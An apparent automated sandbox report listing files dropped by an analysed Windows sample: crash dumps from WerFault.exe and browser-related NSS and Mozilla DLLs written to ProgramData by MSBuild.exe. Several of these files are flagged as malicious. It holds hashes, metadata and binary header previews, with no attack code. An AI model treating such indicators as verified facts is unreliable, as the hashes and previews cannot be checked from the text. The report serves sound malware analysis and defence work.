SHA-256:	E4981E75FF5CAB38A81DA833064E81E2A4A89652CF1085E49AEF6F2E70F6912C
SHA-512:	D1A0033C8DA706D8A5D7F2925A6001C7F2AAA491B046895B4418EC255D4FE4E9539150A6D7A8A85FF9F6F10C5946B939A5E01EF29B8730AFA9E221981C31B442
Malicious:	false
Preview:	MDMP..a..... ........4.g........................................ ...........T.......8...........T...............Pu......................................................................................................eJ..............GenuineIntel............T............4.g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER51D3.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8342
Entropy (8bit):	3.693061541800023
Encrypted:	false
SSDEEP:	192:R6l7wVeJjU6OG6YEIRLSU5VgmfntAqprG89bbOsfcTXJm:R6lXJQ6n6YEiSU5VgmfntAwbNfcQ
MD5:	D737AD71A872DFB4FC7A05B538DFF697
SHA1:	15884FC646C929F68A179D4757391AA4A41FA4DD
SHA-256:	67A8BC1227C0A36C291C940D3D7A8C58BCA9616F1E6C6E4295D173AD8BA5FEF5
SHA-512:	2A7B378FBFD3DDBF0B9B73A4ECC88C037B70A9F605A112408B943269502474FB2B3FC98561C3182281022294DF9EC2DD9AB01078F578823272BBA0F374F30B08
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.6.5.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5203.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4692
Entropy (8bit):	4.472931838183476
Encrypted:	false
SSDEEP:	48:cvIwWl8zsYJg77aI9wrWpW8VYfPYm8M4JYL1vBFaaf+q8jLcTroamYDlYyd:uIjfeI7ea7VzJYL1uafoLmoamYDlYyd
MD5:	6C28D46D4501EB00A8C064B04ADFB37A
SHA1:	354829D2490B6961C18C6695BE30AAA1FEB0FE9B
SHA-256:	A6D84EC4A19698E05A33CB0B45B5DAE2E9841E996C03483ABE766AE242E85C33
SHA-512:	408343FB080A369763A5926A66C6E770C0281C531FAB4DD505D534E07A1EB30C7E71492B02A058275DED66801C9532EB98B2EC8E8D7FFF82463FE35C202285C8
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533421" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA467.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Oct 7 19:18:52 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	32940
Entropy (8bit):	1.738152556198767
Encrypted:	false
SSDEEP:	96:5Zw8XGCkAzFzO97jntsSi77doDUnpghTX7V3P1Avx4grAKWI0WIbgI4jCT/fy32u:fzcMSOfcrx4xVrjCTK2La
MD5:	BA62FEF7B98F174AE24BAD5545920225
SHA1:	19D7412FB79C8BC15EA4393C2674BF377CB346D1
SHA-256:	9FB20BE32D716A81D1422E328F0184917684F8CF7884234DC2B6200F8700DF22
SHA-512:	1F0DC21CBE357B0B94F6BD534162F10933EEE4A01B2A9D7073F771082FD67A36E3B79C6CDA203196EB58AD729FC3D3B3C8E4DE778CB81E16374B9C665AAE85A9
Malicious:	false
Preview:	MDMP..a..... ........4.g........................d...........................T.......8...........T................u......................................................................................................eJ..............GenuineIntel............T............4.g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA4A7.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8326
Entropy (8bit):	3.703701548585178
Encrypted:	false
SSDEEP:	192:R6l7wVeJ9V+6+v/6YVv6NgmfD+WUUqprT89bv2sfQbFm:R6lXJm6W6Yt6NgmfK/ULvVfT
MD5:	3BC077B094BDA7CE09A70D7EE4B0F2B2
SHA1:	FA220EFA57123B161FF97100A276768B44DB37C0
SHA-256:	AE017C07C9DDBE80827770070A3CD37F18C3B4B07F9DAE859B140364202ACDCF
SHA-512:	AACC53A7B4675E014B135581A2FDDF93FF121EDE54ECDDA5A8D65AE3C8774AD89101CE2C5159ADF74E06F79F9057D61FABFBF41C7DE15546675EFA71F39C8D11
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.9.1.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA4D6.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4678
Entropy (8bit):	4.510255055504122
Encrypted:	false
SSDEEP:	48:cvIwWl8zsYJg77aI9wrWpW8VYJYm8M4JKyWFuDJ+q8EXKaxxTkPFd:uIjfeI7ea7VlJKyDJ9KazkPFd
MD5:	B98B7A95B66D57E678D1A88C2FCF974C
SHA1:	4B5914AA4086810815D3EAA93AEEF7F04779C879
SHA-256:	35F543855169AA7C4D24227747EB746D71D1DBC0B6AF445CE55B59037AEA2897
SHA-512:	DB852701EF324E7C27615DC47BFC4819B190E53B8AEF1B8B12C0A18297186777A9251500A342658622A5EF6900FB5490AEEE7F7D609226A8CF8E1F37D19FB20C
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533421" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDBA8.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Oct 7 19:18:01 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	34082
Entropy (8bit):	1.7410578458843482
Encrypted:	false
SSDEEP:	96:528L3VkAzFzETXx7i77DPzZMykKaKlksh4ga8etNl9ntwR81vyC4nWIdWIuTdI4V:zq7OVbnh4Z8E9qyOyXf46kDT
MD5:	80197DA11B7B5A1317EB1A67F5B51230
SHA1:	626CB95391048AA050B5703E61831CD9F02B4AC2
SHA-256:	F64B602DF848C2DD8B453CD293A21F34AB500511562DD64B4CFB793C4ADD5B1E
SHA-512:	90BD475B64C509D9E2C10B5D739A2A8B5AE847C0E030D000897E7A291FD4425B491B2DD6532070C946D6376D680CA56DF6E297020C00CC6B5CE4EB2E21987968
Malicious:	false
Preview:	MDMP..a..... ........3.g........................d...........................T.......8...........T..............."z......................................................................................................eJ..............GenuineIntel............T............3.g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDC07.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8318
Entropy (8bit):	3.6917977595232156
Encrypted:	false
SSDEEP:	192:R6l7wVeJrU6zwn6YEIQSUw1gmfQBgTIqprT89bY3sfevom:R6lXJ46U6YEPSUw1gmfQBgTI7Y8fa
MD5:	4BCFDCE6C80EEA76462A9C658439CB1C
SHA1:	C32D207C0E5CB9B0FB1A1B2171BED16E6AF132A0
SHA-256:	362A767D64AADED577D670EA1BA70BE14773238B711EC8FE87888B75BC15E1AA
SHA-512:	AA649562C6E4084BAFE684EDA6FD4CD6FDABC5175E93FE454F55E2463C77B9EC11E5C8A11B68AD1D2385D72C83E8DCDECE242209F14B9A5FB25B66033029A867
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.2.8.<./.P.i.d.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDC37.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4678
Entropy (8bit):	4.475446290736582
Encrypted:	false
SSDEEP:	48:cvIwWl8zsEiJg77aI9wrWpW8VYZCYm8M4JUsFJ8v+q8OWxZa+Sdsd:uIjfEwI7ea7VAJpkevaxdsd
MD5:	F1B4FFBEFBE9D2AD7406388B8298B830
SHA1:	D4BD77DA2151BC5EC8A13B7C792FA668A7D339DC
SHA-256:	1E4CB6E55CC7B6D0509B4D4A87BA83BD7613DC2516E6BA1E8BEAE5F7602C271F
SHA-512:	5CE42462E06619248D0E036166062888CFE353F1B9C64D1A74F3C19B127D88877F016F5F3DCF4EA502A2BEB3EB760795846B10BB11B1ECCFD3338980A25891DC
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533420" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE5AB.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Oct 7 19:18:04 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	34500
Entropy (8bit):	1.6855112475751532
Encrypted:	false
SSDEEP:	96:5/8NT3sDoiX7p/nIL7i779Im8YTVEI/qgmCsfRs5HKNRdzZKQWI9WIVVI4E376m7:iNTjvO+p+EIyhCaAHup5E376mScoe
MD5:	18C8F5CB9C0615C0CDC5F26E93633D2C
SHA1:	B5C561CF904A7AF729FDC977C118474839987762
SHA-256:	593FA34B92204C035993D07953E5C065A9629B5245E5C3590EEC7411C795CE57
SHA-512:	4B090DFE41F7E71A018F122D3AAA2FBB61098BF7CEAAF225D99814DD752CED43250C7F5BB2493E3220D6D6ACAAB9A461465352B48822FD143EFF3C4623D7F343
Malicious:	false
Preview:	MDMP..a..... ........3.g........................d...........................T.......8...........T................\|......................................................................................................eJ..............GenuineIntel............T.......D....3.g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE5FA.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8286
Entropy (8bit):	3.6894151885401194
Encrypted:	false
SSDEEP:	192:R6l7wVeJ+t6H6YETZ6WgmfntAqprH89bF2sfR3m:R6lXJ86H6YW6WgmfntAnFVfs
MD5:	2D26341A3CC0EB76947F08F14D235507
SHA1:	F3D43280CAAE972D309F352DBCFBABF1447B4471
SHA-256:	52F45F91997390334F22D60D295266F6513A9262AE893F5B7470F9A19824D155
SHA-512:	5E94586D5D9545CC01557B913F7E522AD26EF97D2DB58D400366DE40F29DA8851F46F24FA98883E1A971083213C1273D3E3E6F17B5ECC77BC6E55501C8859C0F
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.9.8.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE61A.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4692
Entropy (8bit):	4.47412441575554
Encrypted:	false
SSDEEP:	48:cvIwWl8zsEiJg77aI9wrWpW8VYpYm8M4JYL1vBFN+q8jLcpamYDlYjd:uIjfEwI7ea7VRJYL1JoLQamYDlYjd
MD5:	9BB474620FF804500E98A8957AEE92D5
SHA1:	F27F9277F04FB79A6E77DD1FE456F1F99C859C06
SHA-256:	4C9C583E45D5F1F3C7CADF1E55397195CCA5DC89BE628346FDC10D350A396AAC
SHA-512:	D240C579B8D8A06C8791DFFFBFEAC0449938F617990127DD7A6E0985F0AE960F86515B25FA43F189E17D73FA6B1A67881CAA27C486D9F30E5960BE50E8DA3D94
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533420" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: out.exe, Detection: malicious, Browse Filename: wULBz8VjH0.exe, Detection: malicious, Browse Filename: FdjDPFGTZS.exe, Detection: malicious, Browse Filename: 45Ywq5ad5H.exe, Detection: malicious, Browse Filename: f1r6P3j3g7.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: NdSXVNeoET.exe, Detection: malicious, Browse Filename: VLSiVR4Qxs.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
